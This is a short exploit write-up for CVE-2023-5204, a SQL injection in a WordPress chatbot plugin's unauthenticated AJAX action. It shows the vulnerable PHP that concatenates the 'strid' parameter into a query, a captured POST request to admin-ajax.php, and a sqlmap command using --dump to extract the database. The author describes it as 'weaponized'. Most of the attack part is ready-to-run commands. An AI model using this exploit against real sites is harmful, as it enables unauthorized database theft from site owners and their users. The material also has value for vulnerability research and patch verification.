https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5204 >[!note] > I do not take credit for finding this, I only simply weaponized it as it was missing technical details on exploitation. > Vulnerable Code ```php add_action( 'wp_ajax_wpbo_search_response', 'qc_wpbo_search_response' ); add_action( 'wp_ajax_nopriv_wpbo_search_response', 'qc_wpbo_search_response' ); function qc_wpbo_search_response(){ global $wpdb; $keyword = (sanitize_text_field($_POST['keyword'])); $strid = (sanitize_text_field($_POST['strid'])); $table = $wpdb->prefix.'wpbot_response'; $response_result = array(); $status = array('status'=>'fail', 'multiple'=>false); if(($strid != '') && empty($response_result)){ $results = $wpdb->get_results("SELECT * FROM `$table` WHERE `ID` = ".$strid); ``` ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:1337 Content-Length: 50 sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: http://localhost:1337 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:1337/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close action=wpbo_search_response&keyword=search&strid=1 ``` * SQLMAP ``` sqlmap -u 'target/wp-admin/admin-ajax.php' --data='action=wpbo_search_response&keyword=search&strid=1' -p 'strid' --dump ```